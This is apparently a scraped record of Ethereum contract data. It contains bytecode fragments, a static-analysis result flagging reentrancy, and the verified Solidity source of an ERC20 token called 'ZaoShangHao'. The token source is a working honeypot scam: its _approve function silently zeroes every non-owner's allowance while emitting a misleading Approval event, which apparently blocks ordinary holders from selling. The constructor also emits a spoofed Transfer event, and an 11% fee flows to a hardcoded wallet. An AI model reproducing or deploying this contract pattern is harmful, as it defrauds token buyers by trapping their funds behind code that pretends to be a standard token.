81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d835f3bcc4cad22543d952336d0377ea2a4405afffef850e6c1d9abac4a3b8264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,812
0x431e7e3134e5887dc246adbbbc1cb066494af6ed
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED address constant TAX_ADDRESS=0x58A3eB372332f4934D0cD1332aB9A8E371116d95; uint256 constant TOTAL_SUPPLY=100000* 10**9* 10**18; uint256 constant FEE_PCT=11; // Ctrl-f replace string constant TOKEN_NAME="ZaoShangHao"; string constant TOKEN_SYMBOL="ZSH"; uint8 constant DECIMALS=18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } // TODO contract ZaoShangHao is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; mapping (address => bool) private _isBlacklisted; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(TAX_ADDRESS); _feeAddrWallet2 = payable(TAX_ADDRESS); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(TAX_ADDRESS), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = FEE_PCT; _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610263578063a9059cbb1461028e578063c3c8cd80146102cb578063dd62ed3e146102e2576100cd565b806370a08231146101e4578063715018a6146102215780638da5cb5b14610238576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461013a57806323b872dd14610165578063313ce567146101a25780636fc3eaec146101cd576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e761031f565b6040516100f49190611b43565b60405180910390f35b34801561010957600080fd5b50610124600480360381019061011f9190611863565b61035c565b6040516101319190611b0d565b60405180910390f35b34801561014657600080fd5b5061014f61037a565b60405161015c9190611c85565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611814565b610390565b6040516101999190611b0d565b60405180910390f35b3480156101ae57600080fd5b506101b7610469565b6040516101c49190611cfa565b60405180910390f35b3480156101d957600080fd5b506101e2610472565b005b3480156101f057600080fd5b5061020b60048036038101906102069190611786565b6104e4565b6040516102189190611c85565b60405180910390f35b34801561022d57600080fd5b50610236610535565b005b34801561024457600080fd5b5061024d610688565b60405161025a9190611af2565b60405180910390f35b34801561026f57600080fd5b506102786106b1565b6040516102859190611b43565b60405180910390f35b34801561029a57600080fd5b506102b560048036038101906102b09190611863565b6106ee565b6040516102c29190611b0d565b60405180910390f35b3480156102d757600080fd5b506102e061070c565b005b3480156102ee57600080fd5b50610309600480360381019061030491906117d8565b610786565b6040516103169190611c85565b60405180910390f35b60606040518060400160405280600b81526020017f5a616f5368616e6748616f000000000000000000000000000000000000000000815250905090565b600061037061036961080d565b8484610815565b6001905092915050565b60006d04ee2d6d415b85acef8100000000905090565b600061039d848484610b08565b61045e846103a961080d565b6104598560405180606001604052806028815260200161224460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040f61080d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c4a9092919063ffffffff16565b610815565b600190509392505050565b60006012905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104b361080d565b73ffffffffffffffffffffffffffffffffffffffff16146104d357600080fd5b60004790506104e181610cae565b50565b600061052e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d1a565b9050919050565b61053d61080d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5a53480000000000000000000000000000000000000000000000000000000000815250905090565b60006107026106fb61080d565b8484610b08565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074d61080d565b73ffffffffffffffffffffffffffffffffffffffff161461076d57600080fd5b6000610778306104e4565b905061078381610d88565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c90611c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90611ba5565b60405180910390fd5b6108fd610688565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a1c576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256004604051610a0f9190611b28565b60405180910390a3610b03565b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610afa9190611c85565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90611c45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90611b65565b60405180910390fd5b60008111610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611c25565b60405180910390fd5b6000600a81905550600b8081905550610c45838383611082565b505050565b6000838311158290610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c899190611b43565b60405180910390fd5b5060008385610ca19190611e4b565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d16573d6000803e3d6000fd5b5050565b6000600854821115610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890611b85565b60405180910390fd5b6000610d6b611092565b9050610d8081846110bd90919063ffffffff16565b915050919050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115610de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610e145781602001602082028036833780820191505090505b5090503081600081518110610e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef457600080fd5b505afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c91906117af565b81600181518110610f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610fcd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610815565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611031959493929190611ca0565b600060405180830381600087803b15801561104b57600080fd5b505af115801561105f573d6000803e3d6000fd5b50505050506000600f60146101000a81548160ff02191690831515021790555050565b61108d838383611107565b505050565b600080600061109f6112d2565b915091506110b681836110bd90919063ffffffff16565b9250505090565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611343565b905092915050565b600080600080600080611119876113a6565b95509550955095509550955061117786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611258816114b6565b6112628483611573565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112bf9190611c85565b60405180910390a3505050505050505050565b6000806000600854905060006d04ee2d6d415b85acef810000000090506113126d04ee2d6d415b85acef81000000006008546110bd90919063ffffffff16565b821015611336576008546d04ee2d6d415b85acef810000000093509350505061133f565b81819350935050505b9091565b6000808311829061138a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113819190611b43565b60405180910390fd5b50600083856113999190611dc0565b9050809150509392505050565b60008060008060008060008060006113c38a600a54600b546115ad565b92509250925060006113d3611092565b905060008060006113e68e878787611643565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061145083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4a565b905092915050565b60008082846114679190611d6a565b9050838110156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390611bc5565b60405180910390fd5b8091505092915050565b60006114c0611092565b905060006114d782846116cc90919063ffffffff16565b905061152b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6115888260085461140e90919063ffffffff16565b6008819055506115a38160095461145890919063ffffffff16565b6009819055505050565b6000806000806115d960646115cb888a6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061160360646115f5888b6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061162c8261161e858c61140e90919063ffffffff16565b61140e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061165c85896116cc90919063ffffffff16565b9050600061167386896116cc90919063ffffffff16565b9050600061168a87896116cc90919063ffffffff16565b905060006116b3826116a5858761140e90919063ffffffff16565b61140e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156116df5760009050611741565b600082846116ed9190611df1565b90508284826116fc9190611dc0565b1461173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390611be5565b60405180910390fd5b809150505b92915050565b60008135905061175681612215565b92915050565b60008151905061176b81612215565b92915050565b6000813590506117808161222c565b92915050565b60006020828403121561179857600080fd5b60006117a684828501611747565b91505092915050565b6000602082840312156117c157600080fd5b60006117cf8482850161175c565b91505092915050565b600080604083850312156117eb57600080fd5b60006117f985828601611747565b925050602061180a85828601611747565b9150509250929050565b60008060006060848603121561182957600080fd5b600061183786828701611747565b935050602061184886828701611747565b925050604061185986828701611771565b9150509250925092565b6000806040838503121561187657600080fd5b600061188485828601611747565b925050602061189585828601611771565b9150509250929050565b60006118ab83836118b7565b60208301905092915050565b6118c081611e7f565b82525050565b6118cf81611e7f565b82525050565b60006118e082611d25565b6118ea8185611d48565b93506118f583611d15565b8060005b8381101561192657815161190d888261189f565b975061191883611d3b565b9250506001810190506118f9565b5085935050505092915050565b61193c81611e91565b82525050565b61194b81611ed4565b82525050565b61195a81611ee6565b82525050565b600061196b82611d30565b6119758185611d59565b9350611985818560208601611ef8565b61198e81611f89565b840191505092915050565b60006119a6602383611d59565b91506119b182611f9a565b604082019050919050565b60006119c9602a83611d59565b91506119d482611fe9565b604082019050919050565b60006119ec602283611d59565b91506119f782612038565b604082019050919050565b6000611a0f601b83611d59565b9150611a1a82612087565b602082019050919050565b6000611a32602183611d59565b9150611a3d826120b0565b604082019050919050565b6000611a55602083611d59565b9150611a60826120ff565b602082019050919050565b6000611a78602983611d59565b9150611a8382612128565b604082019050919050565b6000611a9b602583611d59565b9150611aa682612177565b604082019050919050565b6000611abe602483611d59565b9150611ac9826121c6565b604082019050919050565b611add81611ebd565b82525050565b611aec81611ec7565b82525050565b6000602082019050611b0760008301846118c6565b92915050565b6000602082019050611b226000830184611933565b92915050565b6000602082019050611b3d6000830184611951565b92915050565b60006020820190508181036000830152611b5d8184611960565b905092915050565b60006020820190508181036000830152611b7e81611999565b9050919050565b60006020820190508181036000830152611b9e816119bc565b9050919050565b60006020820190508181036000830152611bbe816119df565b9050919050565b60006020820190508181036000830152611bde81611a02565b9050919050565b60006020820190508181036000830152611bfe81611a25565b9050919050565b60006020820190508181036000830152611c1e81611a48565b9050919050565b60006020820190508181036000830152611c3e81611a6b565b9050919050565b60006020820190508181036000830152611c5e81611a8e565b9050919050565b60006020820190508181036000830152611c7e81611ab1565b9050919050565b6000602082019050611c9a6000830184611ad4565b92915050565b600060a082019050611cb56000830188611ad4565b611cc26020830187611942565b8181036040830152611cd481866118d5565b9050611ce360608301856118c6565b611cf06080830184611ad4565b9695505050505050565b6000602082019050611d0f6000830184611ae3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611d7582611ebd565b9150611d8083611ebd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611db557611db4611f2b565b5b828201905092915050565b6000611dcb82611ebd565b9150611dd683611ebd565b925082611de657611de5611f5a565b5b828204905092915050565b6000611dfc82611ebd565b9150611e0783611ebd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e4057611e3f611f2b565b5b828202905092915050565b6000611e5682611ebd565b9150611e6183611ebd565b925082821015611e7457611e73611f2b565b5b828203905092915050565b6000611e8a82611e9d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611edf82611ebd565b9050919050565b6000611ef182611ebd565b9050919050565b60005b83811015611f16578082015181840152602081019050611efb565b83811115611f25576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f